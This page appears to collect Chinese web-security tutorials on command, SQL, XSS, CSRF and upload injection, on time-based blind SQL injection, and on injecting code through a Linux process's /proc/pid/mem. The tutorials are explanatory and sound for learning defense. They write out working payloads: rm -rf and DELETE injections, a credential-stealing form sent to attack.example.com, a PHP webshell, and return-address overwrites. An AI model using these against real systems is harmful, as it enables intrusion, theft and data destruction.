精华内容
下载资源
问答
  • 盲点是一个python工具,用于盲注漏洞,基于SQLi时间,命令注入,代码注入,SSTI 要求 :- Python3 请求和 colorama 库 用法 :- -u ===>目标网址 在您的注入区域或参数中添加 [*] -p payload_list ,有 r zahir...
  • 系统命令注入的介绍与代码防御

    万次阅读 2016-10-07 15:23:00
     该软件使用受外部影响的输入来构造操作系统命令的全部或一部分,但未能对可能修改所需操作系统命令的元素进行无害化处理。这样一来,攻击者就可以直接在操作系统上执行意外的危险命令。在攻击者没有对操作系统的...

    0x01 介绍

           该软件使用受外部影响的输入来构造操作系统命令的全部或一部分,但未能对可能修改所需操作系统命令的元素进行无害化处理。这样一来,攻击者就可以直接在操作系统上执行意外的危险命令。在攻击者没有对操作系统的直接访问权的情况下(例如在 Web 应用程序中),此弱点可能导致脆弱性。反过来说,如果该弱点发生在特权程序中,攻击者有可能能够指定通常不可访问的命令,或者通过攻击者不具备的特权调用替代命令。如果受到威胁的进程未遵循最低特权原则,那么该问题会变得更严重。其原因是攻击者控制的命令可能通过特定系统特权运行,这会加重危害。存在操作系统命令注入的至少两种子类型:

    [1] 应用程序计划执行受其控制的单个固定程序

            它计划使用外部提供的输入作为该程序的参数。例如,程序可能使用 system("nslookup [HOSTNAME]") 来运行 nslookup,并允许用户提供 HOSTNAME 以用作参数。攻击者无法阻止 nslookup 执行。但是,如果程序不从 HOSTNAME 参数中除去命令分隔符,攻击者就可以将分隔符放置到参数中,从而能够在 nslookup 完成执行后执行其自己的程序。

    [2] 应用程序接受输入,并将其用于完全地选择要运行的程序以及要使用的命令

               应用程序只是将此完整命令重定向至操作系统。例如,程序可能使用“exec([COMMAND])”来执行用户提供的 [COMMAND]。如果 COMMAND 受到攻击者的控制,那么攻击者可以执行任意命令或程序。如果命令是使用 exec() 和 CreateProcess() 之类的函数执行的,攻击者可能无法将多个命令组合到同一行中。这些变体代表不同的程序员错误。在第一个变体中,程序员清楚地表明来自不可信方的输入将作为要执行的命令中的部分参数。在第二个变体中,程序员不希望命令可供任何不可信方访问,但可能未考虑到恶意攻击者可提供输入的其他方式。

              例如:某些脚本通过操作系统调用来运行命令。有时,URL 参数会用作命令的一部分。在这种情况下,就有可能注入将在操作系统上运行的代码。此类代码注入可能使用各种语法:

    command1 | command2(使用 command1 的输出作为 command2 的输入 - 攻击形式将是 "| command")

    command1 && command2(在 command1 的返回码为 true 的情况下运行 command2 - 攻击形式将是 "&& command")

    command1 || command2(在 command1 的返回码为 false 的情况下运行 command2 - 攻击形式将是 "|| command")

             有时,第一条命令包含在单引号 (') 或双引号 (") 中,因此要执行第二条命令,就需要首先将引号转义。通过使用这些变体,攻击者可尝试在主机上运行任意代码。

    0x02 威胁影响

         由于未对用户输入正确执行危险字符清理,可能会在 Web 服务器上运行远程命令。这通常意味着完全破坏服务器及其内容

    0x03 修复思路

    [1] 使用库调用

          如果可能,使用库调用而不是外部进程来创建所需功能。

    [2] 策略:沙箱或监狱

           在进程和操作系统之间强制实施严格边界的“监狱”或类似沙箱环境中运行代码。这可能会有效限制您的软件可访问特定目录中的哪些文件或者可以执行哪些命令。操作系统级别的示例包括 Unix chroot jail、AppArmor 和 SELinux。通常,受管代码可提供一定的保护。例如,Java SecurityManager 中的 java.io.FilePermission 允许您指定针对文件操作的限制。这可能不是可行的解决方案,并且它仅限制了对操作系统的影响;您的应用程序的其余部分仍有可能受到损害。请注意避免 CWE-243 以及与监狱相关的其他弱点。

    [3] 策略:库或框架

          使用不允许此弱点出现的经过审核的库或框架,或提供更容易避免此弱点的构造。例如,考虑使用 ESAPI 编码控件http://www.owasp.org/index.php/ESAPI或类似的工具、库或框架。这些将帮助程序员以较少出错的方式对输出编码。

    [4] 策略:输入验证

          假定所有输入都是恶意的。使用“接受已知善意”输入验证策略:严格遵守规范的可接受输入的白名单。拒绝任何没有严格遵守规范的输入,或者将其转换为遵守规范的内容。不要完全依赖于针对恶意或格式错误的输入的黑名单。但是,黑名单可帮助检测潜在攻击,或者确定哪些输入格式不正确,以致应当将其彻底拒绝。

           执行输入验证时,请考虑所有潜在相关的属性,包括长度、输入类型、可接受的值的完整范围、缺少或多余的输入、语法、在相关字段之间是否一致以及是否遵守了业务规则。作为业务规则逻辑的示例,“boat”可能在语法上有效(因为它仅包含字母数字字符),但如果预期为颜色(如“red”或“blue”),那么它就无效。构造操作系统命令字符串时,请使用严格的白名单以根据请求中参数的预期值来限制字符集。这将间接限制攻击的范围,但是此技巧的重要性不及适当的输出编码和转义。

            请注意,适当的输出编码、转义和引用是防止操作系统命令注入的最有效解决方案,虽然输入验证可能会提供一定的深度防御。这是因为,它会有效限制输出中出现的内容。输入验证并不总是能够防止操作系统命令注入,尤其是在您需要支持可包含任意字符的自由格式文本字段的情况下。例如,调用邮件程序时,您可能需要允许主题字段包含在其他情况下很危险的输入(如“;”和“>”字符),这些输入需要转义或以其他方式进行处理。在此情况下,除去该字符可能会降低操作系统命令注入的风险,但是这会产生不正确的行为,因为这样就不会按照用户的需要来记录主题字段。这可能看起来只是略有不便,但在程序依赖于结构良好的主题行以便向其他组件传递消息时,这种情况就更为重要。

            即使在验证中出错(例如,在 100 个输入字段中忘记一个字段),相应的编码仍有可能针对基于注入的攻击为您提供防护。只要输入验证不是孤立完成的,便仍是有用的技巧,因为它可以大大减少攻击出现的机会,使您能够检测某些攻击,并提供正确编码所无法解决的其他安全性优势。[5] 策略:环境固化

    [4] 最低特权

        使用完成必要任务所需的最低特权来运行代码。https://buildsecurityin.us-cert.gov/daisy/bsi/articles/knowledge/principles/351.html

    如果可能,请使用仅用于单个任务的有限特权来创建孤立的帐户。这样,即使攻击成功,攻击者也无法立即访问软件或其环境的其余部分。例如,数据库应用程序很少需要以数据库管理员身份运行,特别是在日常操作中。


    欢迎大家分享更好的思路,热切期待^^_^^ !

    展开全文
  • Calendar万年历 1个目标文件 EJB 模拟银行ATM流程及操作源代码 6个目标文件,EJB来模拟银行ATM机的流程及操作:获取系统属性,初始化JNDI,取得Home对象的引用,创建EJB对象,并将当前的计数器初始化,调用每一个...
  • 代码注入漏洞介绍和修复参考

    千次阅读 2016-06-16 19:15:11
    代码注入 Shell注入 我们先来看一段perl的代码: use CGI qw(:standard); $name = param('name'); $nslookup = "/path/to/nslookup"; print header; if (open($fh, "$nslookup $name|")) { while ()

    代码注入

    Shell注入

    我们先来看一段perl的代码:

    use CGI qw(:standard);

    $name = param('name');

    $nslookup = "/path/to/nslookup";

    print header;

    if (open($fh, "$nslookup $name|")) {

        while (<$fh>) {

            print escapeHTML($_);

            print "<br>\n";

        }

        close($fh);

    }

     

    如果用户输入的参数是:

     

    coolshell.cn%20%3B%20/bin/ls%20-l

     

    那么,这段perl的程序就成了:

     

    /path/to/nslookup coolshell.cn ; /bin/ls -l

     

    我们再来看一段PHP的程序:

     

    $myvar = 'somevalue';

    $x = $_GET['arg'];

    eval('$myvar = ' . $x . ';');

     

    “eval“的参数将会视同PHP处理,所以额外的命令可被添加。例如:如果”arg”如果被设成”10; system('rm -rf /')“,后面的”system('rm -rf /')“代码将被运行,这等同在服务器上运行开发者意料外的程序。(关于rm -rf /,你懂的,可参看“一个空格引发的悲剧”)

     

    再来看一个PHP的代码

     

    $isadmin= false;

    ...

    ...

    foreach ($_GET as $key => $value) {

      $$key = $value;

    }

     

    如果攻击者在查询字符串中给定”isadmin=1″,那$isadmin将会被设为值 “1”,然后攻击值就取得了网站应用的admin权限了。

     

    再来看一个PHP的示例:

     

    $action = 'login';

       if (__isset( $_GET['act'] ) )

          $action = $_GET['act'];

       require( $action . '.php' );

     

    这个代码相当危险,攻击者有可能可以干这些事:

    • /test.php?act=http://evil/exploit – 注入远程机器上有漏洞的文件。

    • /test.php?act=/home/www/bbs/upload/exploit – 从一个已经上载、叫做exploit.php文件运行其代码。

    • /test.php?act=../../../../etc/passwd%00 – 让攻击者取得该UNIX系统目录检索下密码文件的内容。一个使用空元字符以解除.php扩展名限制,允许访问其他非 .php 结尾文件。 (PHP默认值”magic_quotes_gpc = On”可以终止这种攻击)

    • 这样的示例有很多,只要你的程序有诸如:system()、StartProcess()、

    java.lang.Runtime.exec()、System.Diagnostics.Process.Start()以及类似的应用程序接口,都是比较危险的,最好不要让其中的字符串去拼装用户的输入。

    PHP提供escapeshellarg()和escapeshellcmd()以在调用方法以前进行编码。然而,实际上并不建议相信这些方法是安全的 。

     

    SQL注入

    SQL injection,是发生于应用程序之数据库层的安全漏洞。简而言之,是在输入的字符串之中注入SQL指令,在设计不良的程序当中忽略了检查,那么这些注入进去的指令就会被数据库服务器误认为是正常的SQL指令而运行,因此遭到破坏。

     

    在应用程序中若有下列状况,则可能应用程序正暴露在SQL Injection的高风险情况下:

    1、在应用程序中使用字符串联结方式组合SQL指令(如:引号没有转义)。

    在应用程序链接数据库时使用权限过大的帐户(如:很多开发人员都喜欢用sa(最高权限的系统管理员帐户)连接Microsoft SQL Server数据库)。

    2、在数据库中开放了不必要但权力过大的功能(例如在Microsoft SQL Server数据库中的xp_cmdshell延伸预存程序或是OLE Automation预存程序等)

    3、过于信任用户所输入的数据,未限制输入的字符数,以及未对用户输入的数据做潜在指令的检查。

     

    例程:

    某个网站的登录验证的SQL查询代码为

    strSQL = "SELECT * FROM users

    WHERE (name = '" + userName + "') and (pw = '"+ passWord +"');"

     

    用户在登录时恶意输入如下的的用户名和口令:

    userName = "' OR '1'='1";

    passWord = "' OR '1'='1";

     

    此时,将导致原本的SQL字符串被解析为:

    strSQL = "SELECT * FROM users

    WHERE (name = '' OR '1'='1') and (pw = '' OR '1'='1');"

     

    也就是实际上运行的SQL命令会变成下面这样的,因此导致无帐号密码,也可登录网站。

    strSQL = "SELECT * FROM users;"

     

    这还不算恶劣的,真正恶劣的是在你的语句后再加一个自己的语句,如:

     

    username= "' ; DELETE FROM users; --";

    这样一来,要么整个数据库的表被人盗走,要么被数据库被删除。

    所以SQL注入攻击被俗称为黑客的填空游戏。你是否还记得酷壳这篇文章里的SQL注入?

    当他们发现一个网站有SQL注入的时候,他们一般会干下面的事:

    • 盗取数据表中的数据,例如个人机密数据(信用卡,身份证,手机号,通讯录……),帐户数据,密码等,获得用户的数据和信息后对这些用户进行“社会工程学”活动(如:我前两天在微信上亲身经历)。

    • 取得系统管理员权限(例如ALTER LOGIN sa WITH PASSWORD=’xxxxxx’)。

    • 在数据库中的数据中插入一些HTML/JS代码,有可能得以在网页加入恶意链接以及XSS,这样一来就让访问者被黑。

    • 经由数据库服务器提供的操作系统支持,让黑客得以修改或控制操作系统(例如:MS SQL Server的 xp_cmdshell “net stop iisadmin”可停止服务器的IIS服务)。甚至破坏硬盘数据,瘫痪全系统(例如xp_cmdshell “FORMAT C:”)。

    现在的黑客比较坏,瘫痪系统的事,他们干的越来越少,因为没什么利益,他们希望通过获取用户的帐号信息后,转而攻击用户别的帐号,如游戏帐号,网银帐号,QQ帐号等等他们可以获利的事情(这就是为什么我希望大家在不站点上使用不同的口令,甚至不同的用户信息的原因)

     

    如何避免

    • 在组合SQL字符串时,先针对所传入的参数作字符转义(如:将单引号字符取代为连续2个单引号字符)。如果使用PHP开发网页程序的话,亦可打开PHP的Magic quote功能自动将所有的网页传入参数,将单引号字符取代为连续2个单引号字符。如果可能应该过滤以下字符:分号“;”,两个减号“–”,单引号“’”,注释“/* … */”。(当然,因为注入攻击一般用闭合的引号来玩,所以把引号转义了应该就没有什么问题了)

    • 更换危险字符。例如在PHP通过addslashes()函数保护SQL注入。

    • 限制用户输入的长度,限制用户输入的取值范围。

    • 为当前应用建立权限比较小的数据库用户,这样不会导致数据库管理员失。

    • 把数据库操作封装成一个Service,对于敏感数据,对于每个客户端的IP,在一定时间内每次只返回一条记录。这样可以避免被拖库。

     

    跨网站脚本注入

    跨网站脚本(Cross-site scripting,通常简称为XSS或跨站脚本或跨站脚本攻击)是一种网站应用程序的安全漏洞攻击,是代码注入的一种。它通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript,但实际上也可以包括

    Java, VBScript, ActiveX, Flash 或者甚至是普通的HTML。攻击成功后,攻击者可能得到包括但不限于更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容。

     

    假如我们有这样一段PHP的代码:

     

    $username = $_GET['username'];

    echo '<div> Welcome, ' . $username . '</div>';

    那么我们可以这样来注入:

    http://trustedSite.example.com/welcome.php?username=<Script Language=”Javascript”>alert(“You’ve been attacked!”);</Script>

     

    甚至这样:

    http://trustedSite.example.com/welcome.php?username=<div id=”stealPassword”>Please Login:<form name=”input” action=”http://attack.example.com/stealPassword.php” method=”post”>Username: <input type=”text” name=”username” /><br/>Password: <input type=”password” name=”password” /><input type=”submit” value=”Login” /></form></div>

     

    这会让网页显示以下内容:

    <div class="header"> Welcome,

        <div id="stealPassword">Please Login:

            <form name="input" action="attack.example.com/stealPassword.php" method="post">

                Username: <input type="text" name="username" />

                <br/>

                Password: <input type="password" name="password" />

                <input type="submit" value="Login" />

            </form>

        </div>

    </div>

     

    注入的代码还有可能变种为如下这种更为隐蔽的方式(unicode码):

     

    trustedSite.example.com/welcome.php?username=<script+type=”text/javascript”>

    document.write(‘\u003C\u0064\u0069\u0076\u0020\u0069\u0064\u003D\u0022\u0073

    \u0074\u0065\u0061\u006C\u0050\u0061\u0073\u0073\u0077\u006F\u0072\u0064

    \u0022\u003E\u0050\u006C\u0065\u0061\u0073\u0065\u0020\u004C\u006F\u0067

    \u0069\u006E\u003A\u003C\u0066\u006F\u0072\u006D\u0020\u006E\u0061\u006D

    \u0065\u003D\u0022\u0069\u006E\u0070\u0075\u0074\u0022\u0020\u0061\u0063

    \u0074\u0069\u006F\u006E\u003D\u0022\u0068\u0074\u0074\u0070\u003A\u002F

    \u002F\u0061\u0074\u0074\u0061\u0063\u006B\u002E\u0065\u0078\u0061\u006D

    \u0070\u006C\u0065\u002E\u0063\u006F\u006D\u002F\u0073\u0074\u0065\u0061

    \u006C\u0050\u0061\u0073\u0073\u0077\u006F\u0072\u0064\u002E\u0070\u0068

    \u0070\u0022\u0020\u006D\u0065\u0074\u0068\u006F\u0064\u003D\u0022\u0070

    \u006F\u0073\u0074\u0022\u003E\u0055\u0073\u0065\u0072\u006E\u0061\u006D

    \u0065\u003A\u0020\u003C\u0069\u006E\u0070\u0075\u0074\u0020\u0074\u0079

    \u0070\u0065\u003D\u0022\u0074\u0065\u0078\u0074\u0022\u0020\u006E\u0061

    \u006D\u0065\u003D\u0022\u0075\u0073\u0065\u0072\u006E\u0061\u006D\u0065

    \u0022\u0020\u002F\u003E\u003C\u0062\u0072\u002F\u003E\u0050\u0061\u0073

    \u0073\u0077\u006F\u0072\u0064\u003A\u0020\u003C\u0069\u006E\u0070\u0075

    \u0074\u0020\u0074\u0079\u0070\u0065\u003D\u0022\u0070\u0061\u0073\u0073

    \u0077\u006F\u0072\u0064\u0022\u0020\u006E\u0061\u006D\u0065\u003D\u0022

    \u0070\u0061\u0073\u0073\u0077\u006F\u0072\u0064\u0022\u0020\u002F\u003E

    \u003C\u0069\u006E\u0070\u0075\u0074\u0020\u0074\u0079\u0070\u0065\u003D

    \u0022\u0073\u0075\u0062\u006D\u0069\u0074\u0022\u0020\u0076\u0061\u006C

    \u0075\u0065\u003D\u0022\u004C\u006F\u0067\u0069\u006E\u0022\u0020\u002F

    \u003E\u003C\u002F\u0066\u006F\u0072\u006D\u003E\u003C\u002F\u0064\u0069\u0076\u003E\u000D’);</script>

     

    XSS的攻击主要是通过一段JS程序得用用户已登录的cookie去模拟用户的操作(甚至偷用户的cookie)。这个方式可以让用户在自己不知情的情况下操作了自己不期望的操作。如果是网站的管理员中招,还有可能导致后台管理权限被盗。关于其中的一些细节可以参看《新浪微博的XSS攻击》一文。XSS攻击是程序员有一糊涂就很容易犯的错误,你还可以看看网上的《腾讯微博的XSS攻击》。

     

    XSS攻击在论坛的用户签档里面(使用img标签)也发生过很多次,包括像一些使用bcode的网站,很有可能会被注入一些可以被浏览器用来执行的代码。包括CSS都有可能被注入javascript代码。

     

    不要以为XSS攻击是我们的程序没有写好,有时候,我们会引用别人站点上的js文件,比如:放一个天气预报的小Widget的js,或是一个流量监控,或是一段广告的js文件。你不知道这些东西是不是有问题,如果有恶意的话,这就是你自己主动注入攻击代码了。

     

    另外,XSS攻击有一部分是和浏览器有关的。比如,如下的一些例子,你可能从来都没有想过吧?(更多的例子可以参看酷壳很早以前的这篇文章《浏览器HTML安全列表》)

     

    <table background=”javascript:alert(1)”>

     

    <meta charset=”mac-farsi”>¼script¾alert(1)¼/script¾

     

    <img src=”javascript:alert(1)”>

     

    XSS攻击通常会引发CSRF攻击。CSRF攻击主要是通过在A站上设置B站点上的链接,通过使用用户在B站点上的登录且还没有过期的cookie,从而使得用户的B站点被攻击。(这得益于现在的多Tab页的浏览器,大家都会同时打开并登录很多的网站,而这些不同网站的页面间的cookie又是共享的)

     

    于是,如果我在A站点内的某个贴子内注入这么一段代码:

     

    <img src="http://bank.example.com/transfer?account=XXX&amount=1000000&for=haoel">

     

    很有可能你就在访问A站的这个贴子时,你的网银可能向我转了一些钱。

     

    如何避免

    要防止XSS攻击,一般来说有下面几种手段:

    • 严格限制用户的输入。最好不要让用户输入带标签的内容。最好不要让用户使用一些所见即所得的HTML编辑器。

    • 严格过滤用户的输入。如:

      • PHP的htmlentities()或是htmlspecialchars()或是strip_tags()。

      • Python的cgi.escape()

      • ASP的Server.HTMLEncode()。

      • Node.js的node-validator。

      • Java的xssprotect。

    • 在一些关键功能,完全不能信任cookie,必需要用户输入口令。如:修改口令,支付,修改电子邮件,查看用户的敏感信息等等。

    • 限制cookie的过期时间。

    • 对于CSRF攻击,一是需要检查http的reference header。二是不要使用GET方法来改变数据,三是对于要提交的表单,后台动态生成一个随机的token,这个token是攻击者很难伪造的。(对于token的生成,建议找一些成熟的lib库)

     

    另外,你可能觉得网站在处理用户的表单提交就行了,其实不是,想一想那些Web Mail,我可以通过别的服务器向被攻击用户发送有JS代码、图片、Flash的邮件到你的邮箱,你打开一看,你就中招了。所以,WebMail一般都禁止显示图片和附件,这些都很危险,只有你完全了解来源的情况下才能打开。电子邮件的SMTP协议太差了,基本上无法校验其它邮件服务器的可信度,我甚至可以自己建一个本机的邮件服务器,想用谁的邮件地址发信就用谁的邮件地址发信。所以,我再次真诚地告诉大家,请用gmail邮箱。别再跟我说什么QQMail之类的好用了。

     

    上传文件

    上传文件是一个很危险的功能,尤其是你如果不校验上传文件的类型的话,你可能会中很多很多的招,这种攻击相当狠。试想,如果用户上传给你一个PHP、ASP、JSP的文件,当有人访问这个文件时,你的服务器会解释执行之,这就相当于他可以在你的服务器上执行一段程序。这无疑是相当危险的。

    举个例子:

     

    上传页面

     

    <form action="upload_picture.php" method="post" enctype="multipart/form-data">

    要上传的文件:

    <input type="file" name="filename"/>

    <br/>

    <input type="submit" name="submit" value="Submit"/>

    </form>

     

    后台上传文件的PHP程序

     

    $target = "pictures/" . basename($_FILES['uploadedfile']['name']);

    if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target)){

        echo "图片文件上传成功";

    }else{</div>

        echo "图片文件上传失败";

    }

     

    假如我上传了一个PHP文件如下:

     

    文件名malicious.php

     

    <?php

    system($_GET['cmd']);

    ?>

     

    那么,我就可以通过如下的URL访问攻击你的网站了:

     

    http://server.example.com/upload_dir/malicious.php?cmd=ls%20-l

     

    抵御这样的攻击有两种手段:

    1)限制上传文件的文件扩展名。

    2)千万不要使用root或Administrator来运行你的Web应用。

     

    URL跳转

    URL跳转很有可能会成为攻击利用的工具。

     

    比如下面的PHP代码:

     

    $redirect_url = $_GET['url'];

    header("Location: " . $redirect_url);

     

    这样的代码可能很常见,比如当用户在访问你的网站某个页观的时候没有权限,于是你的网站跳转到登录页面,当然登录完成后又跳转回刚才他访问的那个页面。一般来说,我们都会在跳转到登录页面时在URL里加上要被跳转过去的网页。于是会出现上述那样的代码。

     

    于是我们就可以通过下面的URL,跳转到一个恶意网站上,而那个网站上可能有一段CSRF的代码在等着你,或是一个钓鱼网站。

     

    http://bank.example.com/redirect?url=http://attacker.example.net

     

    这种攻击具有的迷惑性在于,用户看到的http://bank.example.com,以为是一个合法网站,于是就点了这个链接,结果通过这个合法网站,把用户带到了一个恶意网站,而这个恶意网站上可能把页面做得跟这个合法网站一模一样,你还以为访问的是正确的地方,结果就被钓鱼了。

     

    解决这个问题很简单,你需要在你的后台判断一下传过来的URL的域名是不是你自己的域名。

     

    你可以看看Google和Baidu搜索引擎的链接跳转,百度的跳转链接是被加密过的,而Google的网站链接很长,里面有网站的明文,但是会有几个加密过的参数,如果你把那些参数移除掉,Google会显示一个重定向的提醒页面。

     

    欢迎大家分享更好的思路,热切期待^^_^^ !!!

    展开全文
  • SQL注入--盲注入(time型)

    千次阅读 2016-07-30 10:37:02
    一个带GET参数的网站,并且不过对错都返回相同的页面! http://127.0.0.1/index.php?id=1 http://127.0.0.1/index.php?id=1' 由于对错返回的页面一样,无法通过页面判断对错,就使用页面刷新时间来判断对错;...

    注:看这篇文章之前请先看上一篇文章<SQL注入--盲注入(bool型)>


    一个带GET参数的网站,并且不过对错都返回相同的页面!

    http://127.0.0.1/index.php?id=1


    http://127.0.0.1/index.php?id=1'



    由于对错返回的页面一样,无法通过页面判断对错,就使用页面刷新时间来判断对错;

    具体情况请了解SQL的 if(SQL语句,sleep(4),null)语法。

    如:select if(user()='root@localhost',sleep(4),null)

    当user()='root@localhost'为真时执行sleep(4),否则执行null。

    注:

    刷新时间可以通过浏览器的开发者选项f12来看,或者使用Firefox的firebug插件,或者burpsuite等工具都可以。


    所以在文章<SQL注入--盲注入(bool型)>的基础上对SQL语句进行修改:

    爆库名:

    http://127.0.0.1/index.php?id=1' and if(

    ascii(substr(

    (select schema_name from information_schema.schemata limit 4,1),1,1

    ))=115

    ,sleep(4),null)%23


    爆表名:

    http://127.0.0.1/index.php?id=1' and if(

    ascii(substr(

    (select table_name from information_schema.tables where table_schema=0x73716c limit 0,1),1,1

    ))=117

    ,sleep(4),null)%23


    爆字段:

    http://127.0.0.1/index.php?id=1' and if(

    ascii(substr(

    (select column_name from information_schema.columns where table_schema=0x73716c table_name=0x75736572 limit 0,1),1,1

    ))=112

    ,sleep(4),null)%23



    爆pwd

    http://127.0.0.1/index.php?id=1' and if(

    ascii(substr(

    (select pwd from sql.user limit 0,1),1,1

    ))=49

    ,sleep(4),null)%23


    SQL的详细解释请看文章<SQL注入--盲注入(bool型)>

    展开全文
  • 在这篇文章中,我们将学习正确使用Node.js调用系统命令的方法,以避免常见的命令行注入漏洞。 我们经常使用的调用命令的方法是最简单的child_process.exec。它有很一个简单的使用模式;通过传入一段字符串命令,并把...
  • 修改任意Linux进程地址空间实施代码注入

    千次阅读 多人点赞 2020-09-16 23:44:29
    提到进程注入,常规的方案就是使用ptrace,其POKEDATA,POKETEXT命令选项单从名字上就知道是干什么的,这里不再赘述。 然而ptrace是个系统化的东西,太复杂,不适合玩手艺,有没有什么适合手工玩的东西呢?当然有! ...

    提到进程注入,常规的方案就是使用ptrace,其POKEDATA,POKETEXT命令选项单从名字上就知道是干什么的,这里不再赘述。

    然而ptrace是个系统化的东西,太复杂,不适合玩手艺,有没有什么适合手工玩的东西呢?当然有!

    正如读写/dev/mem可以手工完成crash+gdb的功能hack内核一样,每一个用户态进程也有一个mem文件,即 /proc/$pid/mem

    我不敢保证每一个系统该文件都可写,但一旦它可写就好玩了。

    /proc/$pid/mem文件抽象的一个进程的地址空间,直接写该文件就可以实现进程的注入。

    一切皆文件。线性的/proc/$pid/mem文件与平坦的进程地址空间所对应。

    让我们一步一步从最简单的场景来玩起。

    首先看下面的代码:

    // psss.c
    #include <stdio.h>
    #include <stdlib.h>
    
    int main(int argc, char **argv)
    {
    	int tf = atoi(argv[1]);
    	int a = 12345678;
    	while (tf) {
    		printf("value:%d   address:%p  pid:%d\n", a, &a, getpid());
    		sleep(1);
    	}
    
    	printf("break the loop!\n");
    }
    

    很简单的程序,我们编译它:

    [root@localhost test]# gcc psss.c -o psss -O0
    

    我们的目标有两个:

    1. 修改该进程的变量12345678为其进程pid。
    2. 跳出死循环。

    先来完成第一个目标。让我们先运行该进程:

    [root@localhost test]# ./psss 1
    value:12345678   address:0x7ffd4943cf18  pid:5446
    value:12345678   address:0x7ffd4943cf18  pid:5446
    value:12345678   address:0x7ffd4943cf18  pid:5446
    value:12345678   address:0x7ffd4943cf18  pid:5446
    value:12345678   address:0x7ffd4943cf18  pid:5446
    value:12345678   address:0x7ffd4943cf18  pid:5446
    

    由于地址已经直接打印出来了,我们直接编个程序写该地址即可:

    // wmem.c
    #include <sys/types.h>
    #include <sys/stat.h>
    #include <fcntl.h>
    #include <stdio.h>
    #include <stdlib.h>
    
    int main(int argc, char **argv)
    {
    	char name[32];
    	int fd;
    	int pid;
    	char *addr;
    
    	pid = atoi(argv[1]);
    	addr = (char *)strtoul(argv[2], NULL, 16);
    
    	sprintf(name, "/proc/%d/mem", pid);
    	fd = open(name, O_RDWR);
    	lseek(fd, addr , SEEK_SET);
    
    	write(fd, &pid, sizeof(pid));
    }
    

    来看效果:

    [root@localhost test]# ./wmem 5446 0x7ffd4943cf18
    
    # 运行psss的终端显示如下:
    ...
    value:12345678   address:0x7ffd4943cf18  pid:5446
    value:12345678   address:0x7ffd4943cf18  pid:5446
    value:12345678   address:0x7ffd4943cf18  pid:5446
    value:12345678   address:0x7ffd4943cf18  pid:5446
    value:5446   address:0x7ffd4943cf18  pid:5446
    value:5446   address:0x7ffd4943cf18  pid:5446
    value:5446   address:0x7ffd4943cf18  pid:5446
    value:5446   address:0x7ffd4943cf18  pid:5446
    ...
    

    成功修改。

    接下来我们修改它的指令,使其跳出死循环。

    首先拿到它的text映像映射的位置信息:

    [root@localhost test]# cat /proc/5446/smaps |grep -A2 r-xp.*/usr/test/psss
    00400000-00401000 r-xp 00000000 fd:00 75128761                           /usr/test/psss
    Size:                  4 kB
    Rss:                   4 kB
    

    为了详细分析其指令,找出要修改的位置,我们把它的live映像dd出来以便离线分析:

    # 4194304是0x00400000的十进制
    [root@localhost test]# dd if=/proc/5446/mem of=./psss.dd skip=4194304 bs=1 count=4096
    记录了4096+0 的读入
    记录了4096+0 的写出
    4096字节(4.1 kB)已复制,0.013757 秒,298 kB/秒
    

    注意,以上这一步操作非常适合我们拿不到二进制ELF程序的情况下来objdump一个内存中的进程映像,接下来我们就来objdump这个live映像的汇编指令:

    # x86_64平台适用
    [root@localhost test]# objdump -D -Mintel,x86-64 -b binary -m i386 ./psss.dd >./psss.obj
    

    OK,psss.obj就是了。基于我们对Intel x86_64指令的熟悉,很容易在其中找到了下面的位置:

    68f:   bf 01 00 00 00          mov    edi,0x1
         694:   b8 00 00 00 00          mov    eax,0x0
         699:   e8 92 fe ff ff          call   0x530
         69e:   83 7d fc 00             cmp    DWORD PTR [rbp-0x4],0x0
         6a2:   75 c7                   jne    0x66b
         6a4:   bf 5f 07 40 00          mov    edi,0x40075f
         6a9:   e8 32 fe ff ff          call   0x4e0
         6ae:   c9                      leave
         6af:   c3                      ret
    

    注意,就是0x6a2的位置处的指令,我们将其修改:

    # 代码就不展示了,很简单,就是把75 c7改成75 00即可。
    [root@localhost test]# ./a.out 5446 4006a3 # base(0x400000)+offset(0x6a2+1)
    

    看看psss的情况:

    value:5446   address:0x7ffd4943cf18  pid:5446
    value:5446   address:0x7ffd4943cf18  pid:5446
    value:5446   address:0x7ffd4943cf18  pid:5446
    break the loop!
    

    成功跳出了死循环!

    接下来玩一个简单的进程注入,来调用一个僵尸函数。

    请看原始程序代码:

    // pokestack.c
    #include <stdio.h>
    #include <stdlib.h>
    
    void say_hi()
    {
    	printf("skinshoe\n");
    	exit(0);
    }
    
    int main(int argc, char **argv)
    {
    	int tf = atoi(argv[1]);
    	long a = 0x1122334455667788;
    	while (tf) {
    		printf("value:%lx   address:%p  pid:%d\n", a, &a, getpid());
    		sleep(120); // 在120秒内完成手工操作。用getchar亦可。
    	}
    
    	printf("break the loop!\n");
    }
    

    请注意,say_hi函数没有任何地方调用它,我们接下来就通过修改其mem文件,让这个程序调用say_hi。

    先把它跑起来:

    [root@localhost test]# ./pokestack 1
    value:1122334455667788   address:0x7fff75a4ba80  pid:5553
    

    按照老样子,这次我们定位其stack中被压栈的sleep返回地址的位置,我们的目标就是改掉它。

    如果你不想每次都去查stack的位置,你可以关闭一些ASLR的保护,比如:

    sysctl -w kernel.randomize_va_space=0
    

    但是这里为了让事情更加真实,不采用这个伎俩,在真实的环境中,也几乎没有关闭ASLR的。

    所以我们依然要查stack的位置,毕竟它被随机化了,每次都不一样:

    [root@localhost test]# cat /proc/5553/smaps |grep -E \\[stack\\]
    7fff75a2c000-7fff75a4d000 rw-p 00000000 00:00 0                          [stack]
    [root@localhost test]# dd if=/proc/5553/mem of=./pokestack.dd skip=140735166988288 bs=1 count=557056
    记录了135168+0 的读入
    记录了135168+0 的写出
    135168字节(135 kB)已复制,0.165683 秒,816 kB/秒
    [root@localhost test]# hexdump ./pokestack.dd >./pokestack.hex
    

    我们开始寻找pokestack.hex里面sleep的return address的位置,找到了下面的行:

    001fa60 bb70 75a4 7fff 0000 06ff 0040 0000 0000
    

    4006ff就是了。

    至于说是如何找到的,不是本文的内容,无非就是按照模式去匹配了:

    • 返回main函数肯定是400000附近…

    让我们改掉它,改成say_hi的地址:

    # 0x7FFF75A4BA68是stack基地址和0x001fa60+0x8的加和。
    # 0x000000000040067d是say_hi的地址。
    # 将0x7FFF75A4BA68位置的值改成0x000000000040067d
    [root@localhost test]# ./a.out 5553 0x7FFF75A4BA68 0x000000000040067d
    

    等待sleep返回后,看效果:

    value:1122334455667788   address:0x7fff75a4ba80  pid:5553
    
    skinshoe
